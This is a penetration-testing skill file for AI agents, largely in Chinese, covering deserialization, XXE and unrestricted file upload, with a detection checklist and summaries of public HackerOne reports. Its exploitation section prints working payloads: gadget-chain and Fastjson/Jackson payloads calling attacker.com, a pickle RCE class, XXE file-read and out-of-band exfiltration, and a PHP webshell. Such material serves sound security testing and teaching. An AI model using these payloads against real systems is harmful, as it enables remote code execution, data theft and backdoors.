pentest-deserialization-xxe

name	pentest-deserialization-xxe
description	Use when performing penetration testing targeting deserialization, XXE, and dangerous file upload vulnerabilities. Keywords: deserialization, insecure deserialization, XXE, XML external entities, file upload, unrestricted upload, pickle, Java serialization, gadget chain

Deserialization & XXE Penetration Testing Patterns

当对 Web 应用进行反序列化和 XXE 渗透测试时加载此 Skill。覆盖 Java/Python/.NET 反序列化、XML 外部实体注入、危险文件上传等。

Attack Surface Discovery

反序列化入口：

• Java：ObjectInputStream、JSON 库（Jackson enableDefaultTyping、Fastjson @type）
• Python：pickle.loads()、yaml.load()（不安全的 Loader）
• .NET：BinaryFormatter、XmlSerializer、ViewState
• PHP：unserialize()、Phar 反序列化
• Ruby：Marshal.load()、YAML Psych.load()（Krewe/Rails）

XXE 入口：

• XML 文件上传/处理：文档导入、配置文件解析
• SOAP/SAML 端点：XML 格式的 Web Service
• Office 文档处理：DOCX/XLSX（本质是 ZIP+XML）
• SVG 文件上传/渲染
• SpellCheck、RSS feed 等 XML 处理功能

危险文件上传：

• 头像/附件上传缺少类型校验
• 双扩展名绕过：shell.php.jpg
• MIME 类型白名单不严格

Exploitation Techniques

Java 反序列化：

# 使用 ysoserial 生成 payload
java -jar ysoserial.jar CommonsCollections1 "curl attacker.com" > payload.bin

# 常用 Gadget Chain
CommonsCollections1-7  # Apache Commons Collections
Spring1-4              # Spring Framework
Hibernate1             # Hibernate ORM
JRMPClient            # 远程类加载

# 检测：发送序列化魔术字节 (0xACED0005) 到可疑端点

Fastjson/Jackson 反序列化：

// Fastjson @type 注入
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/exploit","autoCommit":true}

// Jackson enableDefaultTyping
["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://attacker.com/exploit","autoCommit":true}]

Python 反序列化：

import pickle, os
class Exploit:
    def __reduce__(self):
        return (os.system, ("curl attacker.com",))
payload = pickle.dumps(Exploit())

XXE 攻击：

<!-- 基础 XXE（文件读取） -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

<!-- Blind XXE（OOB 数据外传） -->
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<!-- evil.dtd: <!ENTITY % exfil SYSTEM "http://attacker.com/?data=%file;"> -->

<!-- SSRF via XXE -->
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-server/admin">
]>

危险文件上传利用：

# 扩展名绕过
shell.php5, shell.phtml, shell.pHp   # PHP 变体
shell.jsp, shell.jspx, shell.jspa    # Java 变体
shell.aspx, shell.ashx, shell.asmx   # .NET 变体

# 内容类型绕过
Content-Type: image/jpeg  # 但文件内容是 PHP webshell

# 双扩展名
shell.php.jpg    # Apache 可能仍解析为 PHP
shell.jpg.php    # 真实扩展名在最后

# Magic bytes + webshell
GIF89a<?php system($_GET['cmd']); ?>   # GIF magic header + PHP

Detection Checklist

• 识别所有接受序列化数据的端点（HTTP body、cookie、消息队列）
• 检查 Java 端点是否接受 0xACED 开头的序列化数据
• 测试 JSON 解析是否支持类型标注（Fastjson @type、Jackson defaultTyping）
• 在所有 XML 处理点注入 XXE payload（文件上传、SOAP、SVG）
• 测试 Blind XXE（使用 OOB 回调检测）
• 测试文件上传的扩展名过滤（双扩展名、大小写、特殊扩展名）
• 测试文件上传的 MIME 类型校验（Content-Type 篡改）
• 检查上传文件是否在可执行目录（能否直接访问触发执行）
• 测试 Office/SVG 文件上传是否触发 XML 解析（XXE via DOCX/SVG）
• 使用 ysoserial/PHPGGC 针对已知框架测试反序列化

Impact Assessment

漏洞利用可达到的效果：

• 远程代码执行：反序列化 gadget chain → 服务器完全控制
• 敏感文件读取：XXE 读取 /etc/passwd、配置文件、密钥
• SSRF：XXE 访问内部服务、云元数据
• Webshell 上传：危险文件上传 → 持久化后门
• 拒绝服务：XXE Billion Laughs 攻击、反序列化消耗资源

严重度判断：

• Critical：反序列化 RCE、XXE 读取云凭证、上传可执行 webshell
• High：XXE 读取任意文件、Blind XXE 可外传数据
• Medium：XXE 仅可检测但无法外传数据、文件上传类型受限

Real-World Cases

以下案例来自 HackerOne 公开披露的真实漏洞报告，展示了该类漏洞在实际目标中的表现形式。

Case 1: Mars — insecure deserilize object leads to RCE On Sitecore (CVE-██████████-27218)

• 严重度: Critical | CWE: Deserialization of Untrusted Data
• 摘要: This critical vulnerability involved an insecure deserialization issue in Sitecore implementation, which was assigned CVE-2025-27218. The vulnerability allowed remote code execution through unsanitize...
• 报告: https://hackerone.com/reports/3090123

Case 2: Mars — Unrestricted File Upload at ██████████

• 严重度: Critical | CWE: Unrestricted Upload of File with Dangerous Type
• 摘要: The endpoint "████████" enabled unrestricted file uploads, allowing anyone to upload any type of file without registration.
• 报告: https://hackerone.com/reports/2357778

Case 3: Nextcloud — RCE on Wordpress website

• 严重度: Critical | CWE: Deserialization of Untrusted Data
• 摘要: A remote code execution vulnerability was exploited on a WordPress website due to unsafe deserialization of user input. This allowed arbitrary code execution as the web server user.
• 报告: https://hackerone.com/reports/2248328

Case 4: Nintendo — [Xenoblade Chronicles X: Definitive Edition] Unrestricted RPCs allow DoS and writing arbitrary flags remotely

• 严重度: Critical | CWE: Resource Injection
• 摘要: The Xenoblade Chronicles X: Definitive Edition vulnerability allowed attackers to perform Denial-of-Service (DoS) attacks and write arbitrary flags remotely due to unrestricted Remote Procedure Calls ...
• 报告: https://hackerone.com/reports/3062122

Case 5: U.S. Dept Of Defense — DNN - Unrestricted Arbitrary File Upload #████████

• 严重度: Critical | CWE: File Content Injection
• 摘要: A vulnerability was discovered in versions of DNN (formerly DotNetNuke) prior to 10.1.1. The vulnerability was caused by the default HTML editor provider allowing unauthenticated file uploads and over...
• 报告: https://hackerone.com/reports/3414079

Case 6: U.S. Dept Of Defense — [HTAF4-213] [Pre-submission] Unsafe AMF deserialization (CVE-2017-5641) in Apache Flex BlazeDS at the https://www.███████/daip/messagebroker/amf

• 严重度: Critical | CWE: Deserialization of Untrusted Data
• 摘要: The vulnerability was an unsafe AMF (Action Message Format) deserialization issue in Apache Flex BlazeDS, affecting the /daip/messagebroker/amf endpoint. Successful exploitation could allow an attac...
• 报告: https://hackerone.com/reports/728614

Case 7: U.S. Dept Of Defense — [HTA2] XXE on https://███ via SpellCheck Endpoint.

• 严重度: Critical | CWE: XML External Entities (XXE)
• 摘要: A full read XXE vulnerability was discovered on a website via the SpellCheck endpoint, allowing an attacker to read local files, make HTTP requests to internal applications and read the responses, ste...
• 报告: https://hackerone.com/reports/715949

Case 8: Basecamp — Two click Account Takeover

• 严重度: High | CWE: Deserialization of Untrusted Data
• 摘要: A vulnerability was discovered in the HEY Email Android application that allowed for a two-click account takeover. Improper handling of incoming deeplinks led to the application's authorization bearer...
• 报告: https://hackerone.com/reports/3079738

Case 9: Internet Bug Bounty — CVE-2025-24813: Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet

• 严重度: High | CWE: Deserialization of Untrusted Data
• 摘要: The Apache Tomcat vulnerability CVE-2025-24813 allowed remote code execution and information disclosure. The vulnerability was caused by a combination of features, including writes enabled for the def...
• 报告: https://hackerone.com/reports/3031518

Case 10: Internet Bug Bounty — [CVE-2023-27531] Possible Deserialization of Untrusted Data vulnerability in Kredis JSON

• 严重度: High | CWE: Deserialization of Untrusted Data
• 摘要: A deserialization vulnerability was discovered in the Kredis JSON deserialization code, allowing for the potential deserialization of untrusted data. This could result in unexpected objects being dese...
• 报告: https://hackerone.com/reports/2071554